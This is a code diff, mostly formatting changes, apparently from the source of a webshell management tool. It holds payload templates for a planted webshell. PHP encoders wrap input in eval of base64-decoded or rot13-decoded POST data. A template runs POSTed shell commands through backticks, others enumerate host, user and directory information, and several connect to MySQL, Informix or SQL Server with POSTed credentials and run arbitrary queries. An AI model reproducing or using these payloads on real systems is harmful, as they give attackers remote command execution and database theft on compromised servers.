Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1); Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
...@@ -51,13 +48,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -51,13 +48,13 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
Conn.Close();`.replace(/\n\s+/g, ''), Conn.Close();`.replace(/\n\s+/g, ''),
// Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd= // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=
[arg1]: '#{base64::conn}', [arg1]: '#{base64::conn}',
// USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where
// A.id=object_id(\'table1\') and A.xtype=B.xtype ORDER BY A.colid
[arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句 [arg2]: '#{base64::table}', // 这里其实传入的是获取表头的 sql 语句
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `var Conn=new ActiveXObject("Adodb.connection");
`var Conn=new ActiveXObject("Adodb.connection");
var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])); var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])); Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
Conn.ConnectionTimeout=10; Conn.ConnectionTimeout=10;
......
This diff is collapsed.
This diff is collapsed.
...@@ -19,7 +19,7 @@ module.exports = { ...@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'base64'); return Buffer.from(data.toString(), 'base64');
} }
} }
\ No newline at end of file
...@@ -19,7 +19,7 @@ module.exports = { ...@@ -19,7 +19,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(data.toString(), 'hex'); return Buffer.from(data.toString(), 'hex');
} }
} }
\ No newline at end of file
...@@ -20,7 +20,7 @@ module.exports = { ...@@ -20,7 +20,7 @@ module.exports = {
* @param {string} data 要被解码的 Buffer * @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer * @returns {string} 解码后的 Buffer
*/ */
decode_buff: (data, ext={}) => { decode_buff: (data, ext = {}) => {
return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64'); return Buffer.from(Buffer.from(data.toString(), 'hex').toString(), 'base64');
} }
} }
\ No newline at end of file
// //
// custom::base64 编码模块 // custom::base64 编码模块
// //
// :把除了密码的其他参数都base64编码一次 // :把除了密码的其他参数都base64编码一次
// //
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let ret = {}; let ret = {};
for (let _ in data) { for (let _ in data) {
if (_ === '_') { continue }; if (_ === '_') {
ret[_] = Buffer.from(data[_]).toString('base64'); continue
};
ret[_] = Buffer
.from(data[_])
.toString('base64');
} }
ret[pwd] = data['_']; ret[pwd] = data['_'];
return ret; return ret;
......
// //
// 16进制编码模块 // 16进制编码模块
// //
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
let ret = {}; let ret = {};
for (let _ in data) { for (let _ in data) {
if (_ === '_') { continue }; if (_ === '_') {
ret[_] = Buffer.from(data[_]).toString('hex'); continue
};
ret[_] = Buffer
.from(data[_])
.toString('hex');
} }
ret[pwd] = data['_']; ret[pwd] = data['_'];
return ret; return ret;
......
...@@ -14,18 +14,26 @@ class CUSTOM extends Base { ...@@ -14,18 +14,26 @@ class CUSTOM extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/sqlserver', 'database/mysql', 'database/oracle' 'command',
'filemanager',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map((_) => { ].map((_) => {
this.parseTemplate(`./custom/template/${_}`); this.parseTemplate(`./custom/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
this.parseEncoder(`./custom/encoder/${_}`); .encoders
}); .map((_) => {
this.decoders.map((_) => { this.parseEncoder(`./custom/encoder/${_}`);
this.parseDecoder(`./custom/decoder/${_}`); });
}); this
.decoders
.map((_) => {
this.parseDecoder(`./custom/decoder/${_}`);
});
} }
/** /**
...@@ -33,7 +41,7 @@ class CUSTOM extends Base { ...@@ -33,7 +41,7 @@ class CUSTOM extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return ['base64','hex']; return ['base64', 'hex'];
} }
get decoders() { get decoders() {
...@@ -45,7 +53,7 @@ class CUSTOM extends Base { ...@@ -45,7 +53,7 @@ class CUSTOM extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = '->|'; let tag_s = '->|';
let tag_e = '|<-'; let tag_e = '|<-';
......
...@@ -10,6 +10,6 @@ module.exports = () => ({ ...@@ -10,6 +10,6 @@ module.exports = () => ({
}, },
listcmd: { listcmd: {
_: 'Y', _: 'Y',
'z1': '#{binarr}', 'z1': '#{binarr}'
} }
}) })
...@@ -7,9 +7,13 @@ ...@@ -7,9 +7,13 @@
const rot13encode = (s) => { const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z //use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it // Get the character code of the current character and add 13 to it If it is
//If it is larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
}); });
}; };
......
...@@ -7,8 +7,13 @@ ...@@ -7,8 +7,13 @@
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
data[randomID] = Buffer.from(data['_']).toString('base64'); .random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
......
...@@ -3,21 +3,27 @@ ...@@ -3,21 +3,27 @@
* ? 利用php的 rot13 进行编码处理 * ? 利用php的 rot13 进行编码处理
*/ */
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
const encode = (s) => { const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z //use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it // Get the character code of the current character and add 13 to it If it is
//If it is larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); return String.fromCharCode((c <= "Z"
? 90
: 122) >= (c = c.charCodeAt(0) + 13)
? c
: c - 26);
}); });
} }
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
......
...@@ -14,7 +14,9 @@ class PHP extends Base { ...@@ -14,7 +14,9 @@ class PHP extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'command',
'filemanager',
'database/mysql', 'database/mysql',
'database/mysqli', 'database/mysqli',
'database/mssql', 'database/mssql',
...@@ -28,12 +30,16 @@ class PHP extends Base { ...@@ -28,12 +30,16 @@ class PHP extends Base {
this.parseTemplate(`./php/template/${_}`); this.parseTemplate(`./php/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
this.parseEncoder(`./php/encoder/${_}`); .encoders
}); .map((_) => {
this.decoders.map((_) => { this.parseEncoder(`./php/encoder/${_}`);
this.parseDecoder(`./php/decoder/${_}`); });
}); this
.decoders
.map((_) => {
this.parseDecoder(`./php/decoder/${_}`);
});
} }
/** /**
...@@ -54,16 +60,24 @@ class PHP extends Base { ...@@ -54,16 +60,24 @@ class PHP extends Base {
* @param {bool} force_default 强制使用 default 解码 * @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // "->|"; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-"; .random()
.toString(16)
.substr(2, 5); // "->|";
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // "|<-";
let asencCode; let asencCode;
if(!force_default){ if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(); asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput();
}else{ } else {
asencCode = this.__decoder__['default'].asoutput(); asencCode = this
.__decoder__['default']
.asoutput();
} }
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
......
...@@ -4,10 +4,26 @@ ...@@ -4,10 +4,26 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`, _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
probedb: // 检测数据库函数支持 if($D=="")
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close'); $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
},
probedb: { // 检测数据库函数支持
_: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) { foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n"); echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
} }
...@@ -15,5 +31,6 @@ module.exports = () => ({ ...@@ -15,5 +31,6 @@ module.exports = () => ({
foreach(@pdo_drivers() as $f){ foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n"); echo("pdo_".$f."\\t1\\n");
} }
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, '')
}) }
})
\ No newline at end of file
...@@ -4,8 +4,7 @@ ...@@ -4,8 +4,7 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `$p=base64_decode($_POST["${arg1}"]);
`$p=base64_decode($_POST["${arg1}"]);
$s=base64_decode($_POST["${arg2}"]); $s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\""; $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
...@@ -52,11 +51,10 @@ module.exports = (arg1, arg2) => ({ ...@@ -52,11 +51,10 @@ module.exports = (arg1, arg2) => ({
foreach($arr as $v){ foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n"); echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''), }`.replace(/\n\s+/g, ''),
[arg1]: "#{base64::binarr}", [arg1]: "#{base64::binarr}"
}, },
quote: { quote: {
_: _: `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
`$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
[arg1]: "#{base64::bin}", [arg1]: "#{base64::bin}",
[arg2]: "#{base64::cmd}" [arg2]: "#{base64::cmd}"
} }
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -32,8 +29,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -24,8 +23,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -24,8 +23,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -45,8 +43,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -45,8 +43,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -68,8 +65,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -68,8 +65,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -6,16 +6,14 @@ ...@@ -6,16 +6,14 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW DATABASES");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=@mysql_connect($hst,$usr,$pwd);$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -23,8 +21,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
`$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];$T=@mysql_connect($hst,$usr,$pwd);@mysql_select_db( $dbn, $T);$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");while($rs=@mysql_fetch_row($q)){echo(trim($rs[0])." (".$rs[1].")".chr(9));}@mysql_close($T);`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -33,8 +30,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -33,8 +30,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
